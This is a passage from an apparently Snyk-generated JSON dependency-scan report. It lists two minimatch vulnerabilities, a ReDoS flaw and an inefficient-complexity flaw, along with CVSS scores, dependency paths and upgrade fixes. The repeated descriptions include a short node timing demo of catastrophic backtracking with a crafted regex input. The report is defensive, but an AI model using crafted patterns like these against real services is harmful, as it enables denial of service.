"make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", 